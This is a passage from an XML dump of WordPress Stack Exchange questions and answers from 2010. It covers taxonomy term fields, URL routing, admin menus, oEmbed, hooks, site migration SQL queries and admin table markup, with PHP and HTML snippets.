taxonomy/term meta would be the prefered but WordPress&#xA; *    does not have one.&#xA; *&#xA; * This example is licensed GPLv2.&#xA; *&#xA; */&#xA;&#xA;// These are helper functions you can use elsewhere to access this info&#xA;function get_taxonomy_term_type($taxonomy,$term_id) {&#xA;  return get_option(&quot;_term_type_{$taxonomy}_{$term-&amp;gt;term_id}&quot;);&#xA;}&#xA;function update_taxonomy_term_type($taxonomy,$term_id,$value) {&#xA;  update_option(&quot;_term_type_{$taxonomy}_{$term_id}&quot;,$value);&#xA;}&#xA;&#xA;//This initializes the class.&#xA;TaxonomyTermTypes::on_load();&#xA;&#xA;//This should be called in your own code. This example uses two taxonomies: 'region' &amp;amp; 'opportunity'&#xA;TaxonomyTermTypes::register_taxonomy(array('region','opportunity'));&#xA;&#xA;class TaxonomyTermTypes {&#xA;  //This initializes the hooks to allow saving of the&#xA;  static function on_load() {&#xA;    add_action('created_term',array(__CLASS__,'term_type_update'),10,3);&#xA;    add_action('edit_term',array(__CLASS__,'term_type_update'),10,3);&#xA;  }&#xA;  //This initializes the hooks to allow adding the dropdown to the form fields&#xA;  static function register_taxonomy($taxonomy) {&#xA;    if (!is_array($taxonomy))&#xA;      $taxonomy = array($taxonomy);&#xA;    foreach($taxonomy as $tax_name) {&#xA;      add_action(&quot;{$tax_name}_add_form_fields&quot;,array(__CLASS__,&quot;add_form_fields&quot;));&#xA;      add_action(&quot;{$tax_name}_edit_form_fields&quot;,array(__CLASS__,&quot;edit_form_fields&quot;),10,2);&#xA;    }&#xA;  }&#xA;  // This displays the selections. Edit it to retrieve&#xA;  static function add_form_fields($taxonomy) {&#xA;    echo &quot;Type &quot; . self::get_select_html('text');&#xA;  }&#xA;  // This displays the selections. Edit it to retrieve your own terms however you retrieve them.&#xA;  static function get_select_html($selected) {&#xA;    $selected_attr = array('text'=&amp;gt;'','user'=&amp;gt;'','date'=&amp;gt;'','etc'=&amp;gt;'');&#xA;    $selected_attr[$selected] = ' selected=&quot;selected&quot;';&#xA;    $html =&amp;lt;&amp;lt;&amp;lt;HTML&#xA;&amp;lt;select id=&quot;tag-type&quot; name=&quot;tag-type&quot;&amp;gt;&#xA;  &amp;lt;option value=&quot;text&quot;{$selected_attr['text']}&amp;gt;Text&amp;lt;/option&amp;gt;&#xA;  &amp;lt;option value=&quot;user&quot;{$selected_attr['user']}&amp;gt;User&amp;lt;/option&amp;gt;&#xA;  &amp;lt;option value=&quot;date&quot;{$selected_attr['date']}&amp;gt;Date&amp;lt;/option&amp;gt;&#xA;  &amp;lt;option value=&quot;etc&quot; {$selected_attr['etc']}&amp;gt;Etc.&amp;lt;/option&amp;gt;&#xA;&amp;lt;/select&amp;gt;&#xA;HTML;&#xA;    return $html;&#xA;  }&#xA;    // This a table row with the drop down for an edit screen&#xA;    static function edit_form_fields($term, $taxonomy) {&#xA;    $selected = get_option(&quot;_term_type_{$taxonomy}_{$term-&amp;gt;term_id}&quot;);&#xA;    $select = self::get_select_html($selected);&#xA;    $html =&amp;lt;&amp;lt;&amp;lt;HTML&#xA;&amp;lt;tr class=&quot;form-field form-required&quot;&amp;gt;&#xA;  &amp;lt;th scope=&quot;row&quot; valign=&quot;top&quot;&amp;gt;&amp;lt;label for=&quot;tag-type&quot;&amp;gt;Type&amp;lt;/label&amp;gt;&amp;lt;/th&amp;gt;&#xA;  &amp;lt;td&amp;gt;$select&amp;lt;/td&amp;gt;&#xA;&amp;lt;/tr&amp;gt;&#xA;HTML;&#xA;    echo $html;&#xA;  }&#xA;  // These hooks are called after adding and editing to save $_POST['tag-term']&#xA;  static function term_type_update($term_id, $tt_id, $taxonomy) {&#xA;    if (isset($_POST['tag-type'])) {&#xA;      update_taxonomy_term_type($taxonomy,$term_id,$_POST['tag-type']);&#xA;    }&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope it helps.&lt;/p&gt;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2010-09-06T10:57:40.820" CommentCount="3" />
  <row Id="1408" PostTypeId="2" ParentId="1393" CreationDate="2010-09-06T11:09:47.863" Score="1" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@beseku&lt;/strong&gt;: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;WordPress' URL routing is really difficult to work with. I'm looking forward to the day it's replaced with something more rational (and I hope that I get to be the one to write the code to replace it, but I digress...)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However I think your first problem is trying to do everything in &lt;code&gt;.htaccess&lt;/code&gt;. I've probably got more experience with URL design and URL rewriting than anyone else I know and I really wouldn't try to fight WordPress with &lt;code&gt;.htaccess&lt;/code&gt;; you are most likely only going to get the kind of results that are currently driving you crazy.  Instead I'd try to manage URL routing from within WordPress and using hooks for when you need to override something WordPress is doing really screwy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, for me to fully understand what you are trying to accomplish and prescribe a proper solution I'd want to see a full map of URLs you have on your site and those that you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally I've linked some related Q&amp;amp;As below. They are not directly answering your question but they might give you some insight and the last one is about scaling WordPress for high traffic.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/994/setting-up-wordpress-with-custom-permalinks-and-no-htaccess-file/1003#1003&quot;&gt;&lt;strong&gt;Setting up WordPress with Custom Permalinks and no .htaccess File?&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/1011/creating-301-redirects-for-post-page-category-and-image-urls/1023#1023&quot;&gt;&lt;strong&gt;Creating 301 Redirects for Post, Page, Category and Image URLs?&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/1076/force-the-website-url-to-include-www-and-to-be-upper-case/1106#1106&quot;&gt;&lt;strong&gt;Force the Website URL to Include “www” and to be Upper Case?&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/1162/how-well-does-wordpress-scale/1167#1167&quot;&gt;&lt;strong&gt;How Well Does WordPress Scale?&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2010-09-06T11:09:47.863" />
  <row Id="1409" PostTypeId="2" ParentId="1396" CreationDate="2010-09-06T11:22:36.497" Score="1" ViewCount="" Body="&lt;p&gt;Hi &lt;em&gt;@NetConstructor.com&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think you already asked about this and I gave you an answer that would address this question too:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/1216/changing-the-order-of-admin-menu-sections/1222#1222&quot;&gt;&lt;strong&gt;Changing the Order of Admin Menu Sections?&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In that answer I gave you &lt;a href=&quot;https://gist.github.com/792b7aa5b695d1092520&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;a library&lt;/strong&gt;&lt;/a&gt; you can use to make interacting with the admin menus super easy. Here's what you'd have to do to achieve your stated goal on this question:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;require_once('wp-admin-menu-classes.php');&#xA;add_action('admin_menu','my_admin_menu');&#xA;function my_admin_menu() {&#xA;  rename_admin_menu_section('Articles','Manage Articles');`  &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;P.S. BTW, I noticed there were &lt;a href=&quot;http://wordpress.stackexchange.com/questions/1216/changing-the-order-of-admin-menu-sections/1222#1222&quot;&gt;4 answers provided on that question&lt;/a&gt; which you asked almost a week ago, but you haven't gone back an selected any of the answers as the correct answer. Since you have been here asking a lot of questions I know it's not like you've not been around; please take time to select the best answer for your questions as soon as you have a viable answer otherwise people might become demotivated to keep answering. Something this consider...&lt;/p&gt;&#xA;" OwnerUserId="89" LastActivityDate="2010-09-06T11:22:36.497" CommentCount="3" />
  <row Id="1410" PostTypeId="1" CreationDate="2010-09-06T11:34:32.337" Score="2" ViewCount="57" Body="&lt;p&gt;Sometimes embedding an item via oEmbed is not possible, for example when a YouTube video has embedding disabled. &lt;a href=&quot;http://core.trac.wordpress.org/ticket/14377&quot; rel=&quot;nofollow&quot;&gt;The oEmbed service will return a &lt;code&gt;401 Unauthorized&lt;/code&gt;&lt;/a&gt;, and the code will not be converted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to notify the user of this? The current workflow is non-intuitive (at least to me), and I would prefer a message on the WordPress page, or even better, in the editor, saying that the object could not be embedded.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-09-20T08:56:30.310" Title="Displaying oEmbed errors?" Tags="&lt;errors&gt;&lt;media&gt;&lt;oembed&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="1411" PostTypeId="1" CreationDate="2010-09-06T11:45:38.523" Score="3" ViewCount="237" Body="&lt;p&gt;Is there a way to give oEmbed codes a special markup in the visual editor? In my dream implementation you paste an oEmbed-enabled url in the editor, which will then automatically replace it with a thumbnail of the media object you want to insert. A basic implementation would at least highlight the URL so the user knows &quot;something special&quot; could happen there (&lt;a href=&quot;http://wordpress.stackexchange.com/questions/1410/displaying-oembed-errors&quot;&gt;if no errors occur&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a plugin that does this? I could create something like this myself, but I would need some pointers on how to hook into the TinyMCE editor in the most WordPress-stylish way.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-09-28T07:45:28.293" Title="Markup of oEmbed codes in the editor?" Tags="&lt;tinymce&gt;&lt;oembed&gt;&lt;editor&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="3" />
  <row Id="1412" PostTypeId="1" CreationDate="2010-09-06T12:17:12.897" Score="0" ViewCount="135" Body="&lt;p&gt;I'm using a plugin that adds an RSS feed to WordPress. I don't want it there. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no option in the plugin's settings to disable it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I unhook it from &lt;code&gt;wp_head()&lt;/code&gt;, &lt;em&gt;or&lt;/em&gt;, where do you register &lt;code&gt;head&lt;/code&gt; element things in a WordPress plugin so I can manually remove it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="783" LastActivityDate="2010-09-06T13:59:18.133" Title="How can I remove a RSS feed that a WordPress plugin adds to `wp_head()`?" Tags="&lt;rss&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="1413" PostTypeId="1" AcceptedAnswerId="1425" CreationDate="2010-09-06T12:18:30.477" Score="9" ViewCount="679" Body="&lt;p&gt;What is the recommended way of creating a page with a table, in the style of the tables showing posts or users in the admin area?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am expanding &lt;a href=&quot;http://wordpress.org/extend/plugins/cache-images/&quot; rel=&quot;nofollow&quot;&gt;the Cache Images plugin&lt;/a&gt;, and it contains a table with domains and a number of images from that domain. So there is no equivalent existing table that I can build upon (in the first version of this question, I asked about a table with posts, but there I could (maybe) &lt;a href=&quot;http://wordpress.stackexchange.com/questions/578/adding-a-taxonomy-filter-to-admin-list-for-a-custom-post-type/582#582&quot;&gt;expand the existing post table&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should I just base myself on &lt;a href=&quot;http://core.trac.wordpress.org/browser/branches/3.0/wp-admin/edit-post-rows.php&quot; rel=&quot;nofollow&quot;&gt;the post overview page&lt;/a&gt;, and start with a &lt;code&gt;&amp;lt;table class=&quot;widefat&quot;&amp;gt;&lt;/code&gt;, or are there better functions that handle this now? Do you know a clean, empty example of a table with paging that I could base my work on?&lt;/p&gt;&#xA;" OwnerUserId="8" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2010-09-07T07:48:03.440" LastActivityDate="2011-05-27T13:48:57.093" Title="Creating a table in the admin-style?" Tags="&lt;plugin-development&gt;&lt;admin&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="8" />
  <row Id="1414" PostTypeId="1" CreationDate="2010-09-06T12:57:09.943" Score="3" ViewCount="495" Body="&lt;p&gt;Assume I created a new post type &lt;code&gt;'product'&lt;/code&gt;. Is there a way to perform a function (user created) when this new &lt;code&gt;'product'&lt;/code&gt; post has been created?&lt;/p&gt;&#xA;" OwnerUserId="376" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-09-07T01:57:04.907" LastActivityDate="2010-09-07T12:15:50.870" Title="Calling a Function After New Post Creation for a WordPress Custom Post Type?" Tags="&lt;custom-post-types&gt;&lt;hooks&gt;" AnswerCount="3" CommentCount="1" />
  <row Id="1415" PostTypeId="2" ParentId="1414" CreationDate="2010-09-06T13:12:01.957" Score="1" ViewCount="" Body="&lt;p&gt;The &lt;a href=&quot;http://core.trac.wordpress.org/browser/branches/3.0/wp-includes/post.php#L2714&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_transition_post_status&lt;/code&gt;&lt;/a&gt; function will be called, and this will trigger the action &lt;code&gt;&quot;${new_status}_$post-&amp;gt;post_type&quot;&lt;/code&gt;, so if a &lt;code&gt;product&lt;/code&gt; moves to the &lt;code&gt;publish&lt;/code&gt; state, the action &lt;code&gt;publish_product&lt;/code&gt; will be triggered.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-09-06T13:12:01.957" CommentCount="2" />
  <row Id="1416" PostTypeId="1" AcceptedAnswerId="1423" CreationDate="2010-09-06T13:21:08.080" Score="1" ViewCount="227" Body="&lt;p&gt;Have developed a site on the production box using a temporary address (http://IP-adddress).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now it's time to go live. Once, ages ago, I successfully used phpMyAdmin and did a search/replace, but am wondering if it's still &lt;em&gt;&quot;the best&quot;&lt;/em&gt; way to go.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will these work okay, still? The site is in WordPress 3.0.1.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;update wp_options set option_value=replace(option_value,'OLD URL','NEW URL') where option_value like &quot;%OLD URL%&quot;;    &#xA;update wp_posts SET guid=replace(guid, 'OLD URL','NEW URL');&#xA;update wp_posts SET post_excerpt=replace(post_excerpt, 'OLD URL','NEW URL');&#xA;update wp_posts SET post_content=replace(post_content, 'OLD URL','NEW URL');    &#xA;update wp_postmeta SET meta_value=replace(meta_value, 'OLD URL','NEW URL');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've read a number of related posts here, but none with the actual queries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought this &lt;a href=&quot;http://wordpress.org/extend/plugins/search-and-replace/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;search and replace plugin&lt;/strong&gt;&lt;/a&gt; sounded promising, but the only documentation I found was in German, which I can't read, so I'm too cautious to try it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And this thread about &lt;a href=&quot;http://wordpress.stackexchange.com/questions/119/easily-move-a-wordpress-install-from-development-to-production&quot;&gt;&lt;strong&gt;moving from development to production&lt;/strong&gt;&lt;/a&gt; has lots of information in it, but:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;much of it is over my head, and &lt;/li&gt;&#xA;&lt;li&gt;no queries listed.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;TYIA,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mike&lt;/p&gt;&#xA;" OwnerUserId="319" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-09-07T01:38:47.883" LastActivityDate="2010-09-07T01:46:16.477" Title="Correct Search &amp; Replace Queries for Changing URLs in a WordPress Database?" Tags="&lt;deploy&gt;" AnswerCount="3" FavoriteCount="1" />
  <row Id="1417" PostTypeId="2" ParentId="1386" CreationDate="2010-09-06T13:37:41.197" Score="-1" ViewCount="" Body="&lt;p&gt;in Wordpress 3 they can be hidden, have you just hidden them?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I second the notion to upgrade!!&lt;/p&gt;&#xA;" OwnerUserId="784" LastActivityDate="2010-09-06T13:37:41.197" />
  <row Id="1418" PostTypeId="2" ParentId="1392" CreationDate="2010-09-06T13:42:26.540" Score="1" ViewCount="" Body="&lt;p&gt;When doing it with CSS, make sure you are using firebug to see if the rule you are trying to apply is being applied to the element. It could be that there is a more specific rule, an equally specific but later defined rule, or even an inline rule overriding that your custom rule.&lt;/p&gt;&#xA;" OwnerUserId="784" LastActivityDate="2010-09-06T13:42:26.540" CommunityOwnedDate="2010-09-06T13:42:26.540" CommentCount="1" />
  <row Id="1419" PostTypeId="2" ParentId="1403" CreationDate="2010-09-06T13:50:06.120" Score="3" ViewCount="" Body="&lt;p&gt;in terms of breaking it up, in my boiler plate I use a custom function to look for a folder called functions in the theme directory, if it is not there it creates it. Then is creates an array of all the .php files it finds in that folder (if any) and runs an include(); on each of them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That way, each time I need to write some new functionality, I just add a PHP file to the functions folder, and don't have to worry about coding it into the site.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/* &#xA;FUNCTIONS for automatically including php documents from the functions folder.&#xA;*/&#xA;//if running on php4, make a scandir functions&#xA;if (!function_exists('scandir')) {&#xA;  function scandir($directory, $sorting_order = 0) {&#xA;    $dh = opendir($directory);&#xA;    while (false !== ($filename = readdir($dh))) {&#xA;      $files[] = $filename;&#xA;    }&#xA;    if ($sorting_order == 0) {&#xA;      sort($files);&#xA;    } else {&#xA;      rsort($files);&#xA;    }&#xA;    return ($files);&#xA;  }&#xA;}&#xA;/*&#xA;* this function returns the path to the funtions folder.&#xA;* If the folder does not exist, it creates it.&#xA;*/&#xA;function get_function_directory_extension($template_url = FALSE) {&#xA;  //get template url if not passed&#xA;  if (!$template_url)$template_url = get_bloginfo('template_directory');&#xA;&#xA;&#xA;  //replace slashes with dashes for explode&#xA;  $template_url_no_slash = str_replace('/', '.', $template_url);&#xA;&#xA;  //create array from URL&#xA;  $template_url_array = explode('.', $template_url_no_slash);&#xA;&#xA;  //--splice array&#xA;&#xA;  //Calculate offset(we only need the last three levels)&#xA;  //We need to do this to get the proper directory, not the one passed by the server, as scandir doesn't work when aliases get involved.&#xA;  $offset = count($template_url_array) - 3;&#xA;&#xA;  //splice array, only keeping back to the root WP install folder (where wp-config.php lives, where the front end runs from)&#xA;  $template_url_array = array_splice($template_url_array, $offset, 3);&#xA;  //put back togther as string&#xA;  $template_url_return_string = implode('/', $template_url_array);&#xA;  fb::log($template_url_return_string, 'Template'); //firephp&#xA;&#xA;  //creates current working directory with template extention and functions directory    &#xA;  //if admin, change out of admin folder before storing working dir, then change back again.&#xA;  if (is_admin()) {&#xA;    $admin_directory = getcwd();&#xA;    chdir(&quot;..&quot;);&#xA;    $current_working_directory = getcwd();&#xA;    chdir($admin_directory);&#xA;  } else {&#xA;    $current_working_directory = getcwd();&#xA;  }&#xA;  fb::log($current_working_directory, 'Directory'); //firephp&#xA;&#xA;  //alternate method is chdir method doesn't work on your server (some windows servers might not like it)&#xA;  //if (is_admin()) $current_working_directory = str_replace('/wp-admin','',$current_working_directory);&#xA;&#xA;  $function_folder = $current_working_directory . '/' . $template_url_return_string . '/functions';&#xA;&#xA;&#xA;  if (!is_dir($function_folder)) mkdir($function_folder); //make folder, if it doesn't already exist (lazy, but useful....ish)&#xA;  //return path&#xA;  return $function_folder;&#xA;&#xA;}&#xA;&#xA;//removed array elements that do not have extension .php&#xA;function only_php_files($scan_dir_list = false) {&#xA;  if (!$scan_dir_list || !is_array($scan_dir_list)) return false; //if element not given, or not array, return out of function.&#xA;  foreach ($scan_dir_list as $key =&amp;gt; $value) {&#xA;    if (!strpos($value, '.php')) {&#xA;&#xA;      unset($scan_dir_list[$key]);&#xA;    }&#xA;  }&#xA;  return $scan_dir_list;&#xA;}&#xA;//runs the functions to create function folder, select it,&#xA;//scan it, filter only PHP docs then include them in functions&#xA;&#xA;add_action('wp_head', fetch_php_docs_from_functions_folder(), 1);&#xA;function fetch_php_docs_from_functions_folder() {&#xA;&#xA;  //get function directory&#xA;  $functions_dir = get_function_directory_extension();&#xA;  //scan directory, and strip non-php docs&#xA;  $all_php_docs = only_php_files(scandir($functions_dir));&#xA;&#xA;  //include php docs&#xA;  if (is_array($all_php_docs)) {&#xA;    foreach ($all_php_docs as $include) {&#xA;      include($functions_dir . '/' . $include);&#xA;    }&#xA;  }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="784" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-09-06T19:51:16.177" LastActivityDate="2010-09-06T19:51:16.177" CommentCount="7" />
  <row Id="1420" PostTypeId="2" ParentId="1412" CreationDate="2010-09-06T13:59:18.133" Score="1" ViewCount="" Body="&lt;p&gt;Without the specfic plugin name, I can only be fairly vague, but there are two things you can do:&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;To add additional code to unhook &lt;code&gt;&amp;lt;link /&amp;gt;&lt;/code&gt; tag (which is what I presume it's adding) you would use something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;remove_action('wp_head', 'name_of_function')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You would, however, need to know the name of the function you wished to remove, which makes simply removing the hook easier.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;To add the &lt;code&gt;&amp;lt;link&amp;gt;&lt;/code&gt; tag to your wp_head the plugin will probably use code similar to this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('wp_head', 'name_of_function')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Obviously it is much easier to find if you already know the name of the function which you are trying to remove, but a search for &lt;code&gt;add_action('wp_head'&lt;/code&gt; or &lt;code&gt;add_action(&quot;wp_head&quot;&lt;/code&gt; should find the line specified, which you can then remove to stop the insertion.&lt;/p&gt;&#xA;" OwnerUserId="25" LastActivityDate="2010-09-06T13:59:18.133" CommentCount="1" />
  <row Id="1421" PostTypeId="1" AcceptedAnswerId="1422" CreationDate="2010-09-06T14:33:57.307" Score="2" ViewCount="532" Body="&lt;p&gt;I would like to give a CMS look to some of my pages. I want to customize them by removing the default widgets and adding other widgets as my wish (I will use plugins like &lt;a href=&quot;http://wordpress.org/extend/plugins/mycustomwidget/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;My Custom Widget&lt;/strong&gt;&lt;/a&gt;  to add custom codes if I need) .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any possibility to customize the specific pages like this?&lt;/p&gt;&#xA;" OwnerUserId="391" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-09-07T01:29:07.953" LastActivityDate="2010-09-07T01:29:07.953" CommunityOwnedDate="2010-09-06T14:34:29.960" Title="Disable Specific Widgets on Selected Pages of a WordPress Website?" Tags="&lt;plugins&gt;&lt;widgets&gt;&lt;customization&gt;" AnswerCount="1" />
  <row Id="1422" PostTypeId="2" ParentId="1421" CreationDate="2010-09-06T14:51:34.933" Score="3" ViewCount="" Body="&lt;p&gt;Take a look at this plugin, &lt;a href=&quot;http://wordpress.org/extend/plugins/widget-logic/&quot; rel=&quot;nofollow&quot;&gt;WidgetLogic&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the description: &quot;This plugin gives every widget an extra control field called &quot;Widget logic&quot; that lets you control the pages that the widget will appear on.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've used it successfully.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mike&lt;/p&gt;&#xA;" OwnerUserId="319" LastActivityDate="2010-09-06T14:51:34.933" CommunityOwnedDate="2010-09-06T14:51:34.933" CommentCount="2" />
  <row Id="1423" PostTypeId="2" ParentId="1416" CreationDate="2010-09-06T17:36:27.980" Score="0" ViewCount="" Body="&lt;p&gt;Yes, these queries still work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a complete how-to: &lt;a href=&quot;http://web-kreation.com/tutorials/migrating-a-wordpress-site-ftp-phpmyadmin-and-sql-queries/&quot; rel=&quot;nofollow&quot;&gt;http://web-kreation.com/tutorials/migrating-a-wordpress-site-ftp-phpmyadmin-and-sql-queries/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="473" LastActivityDate="2010-09-06T17:36:27.980" CommentCount="2" />
  <row Id="1424" PostTypeId="1" CreationDate="2010-09-06T17:51:56.993" Score="1" ViewCount="312" Body="&lt;p&gt;First post in this astonishing exchange. Glad to be here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've installed WP3 on Rackspace Cloud, under an Ubuntu Lucid installation, properly configured all the multisite dependancies, network blogs are being successfully created, data is stored in the database, which leads me to one conclusion regarding my failure in actually USING network blogs, and that that it's somehow connected to Apache configuration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I admit I'm still slow on my Apache, but I'm getting there. Any leads you can share with me?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="785" LastEditorUserId="49" LastEditorDisplayName="" LastEditDate="2010-09-27T03:55:55.767" LastActivityDate="2010-09-27T03:55:55.767" Title="Multisite on Rackspace Cloud (ubuntu lucid)" Tags="&lt;multisite&gt;&lt;3.0.1&gt;&lt;server&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="1425" PostTypeId="2" ParentId="1413" CreationDate="2010-09-06T18:33:51.527" Score="7" ViewCount="" Body="&lt;p&gt;This is what I generally use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;table class=&quot;widefat fixed&quot; cellspacing=&quot;0&quot;&amp;gt;&#xA;    &amp;lt;thead&amp;gt;&#xA;    &amp;lt;tr&amp;gt;&#xA;        &amp;lt;tr&amp;gt;&#xA;            &amp;lt;th id=&quot;cb&quot; class=&quot;manage-column column-cb check-column&quot; scope=&quot;col&quot;&amp;gt;&amp;lt;/th&amp;gt; // this column contains checkboxes&#xA;            &amp;lt;th id=&quot;columnname&quot; class=&quot;manage-column column-columnname&quot; scope=&quot;col&quot;&amp;gt;&amp;lt;/th&amp;gt;&#xA;            &amp;lt;th id=&quot;columnname&quot; class=&quot;manage-column column-columnname num&quot; scope=&quot;col&quot;&amp;gt;&amp;lt;/th&amp;gt; // &quot;num&quot; added because the column contains numbers&#xA;        &amp;lt;/tr&amp;gt;&#xA;    &amp;lt;/tr&amp;gt;&#xA;    &amp;lt;/thead&amp;gt;&#xA;&#xA;    &amp;lt;tfoot&amp;gt;&#xA;    &amp;lt;tr&amp;gt;&#xA;        &amp;lt;tr&amp;gt;&#xA;            &amp;lt;th class=&quot;manage-column column-cb check-column&quot; scope=&quot;col&quot;&amp;gt;&amp;lt;/th&amp;gt;&#xA;            &amp;lt;th class=&quot;manage-column column-columnname&quot; scope=&quot;col&quot;&amp;gt;&amp;lt;/th&amp;gt;&#xA;            &amp;lt;th class=&quot;manage-column column-columnname num&quot; scope=&quot;col&quot;&amp;gt;&amp;lt;/th&amp;gt;&#xA;        &amp;lt;/tr&amp;gt;&#xA;    &amp;lt;/tr&amp;gt;&#xA;    &amp;lt;/tfoot&amp;gt;&#xA;&#xA;    &amp;lt;tbody&amp;gt;&#xA;        &amp;lt;tr class=&quot;alternate&quot;&amp;gt;&#xA;            &amp;lt;th class=&quot;check-column&quot; scope=&quot;row&quot;&amp;gt;&amp;lt;/th&amp;gt;&#xA;            &amp;lt;td class=&quot;column-columnname&quot;&amp;gt;&amp;lt;/td&amp;gt;&#xA;            &amp;lt;td class=&quot;column-columnname&quot;&amp;gt;&amp;lt;/td&amp;gt;&#xA;        &amp;lt;/tr&amp;gt;&#xA;        &amp;lt;tr&amp;gt;&#xA;            &amp;lt;th class=&quot;check-column&quot; scope=&quot;row&quot;&amp;gt;&amp;lt;/th&amp;gt;&#xA;            &amp;lt;td class=&quot;column-columnname&quot;&amp;gt;&amp;lt;/td&amp;gt;&#xA;            &amp;lt;td class=&quot;column-columnname&quot;&amp;gt;&amp;lt;/td&amp;gt;&#xA;        &amp;lt;/tr&amp;gt;&#xA;        &amp;lt;tr class=&quot;alternate&quot; valign=&quot;top&quot;&amp;gt; // this row contains actions&#xA;            &amp;lt;th class=&quot;check-column&quot; scope=&quot;row&quot;&amp;gt;&amp;lt;/th&amp;gt;&#xA;            &amp;lt;td class=&quot;column-columnname&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;row-actions&quot;&amp;gt;&#xA;                    &amp;lt;span&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;Action&amp;lt;/a&amp;gt; |&amp;lt;/span&amp;gt;&#xA;                    &amp;lt;span&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;Action&amp;lt;/a&amp;gt;&amp;lt;/span&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/td&amp;gt;&#xA;            &amp;lt;td 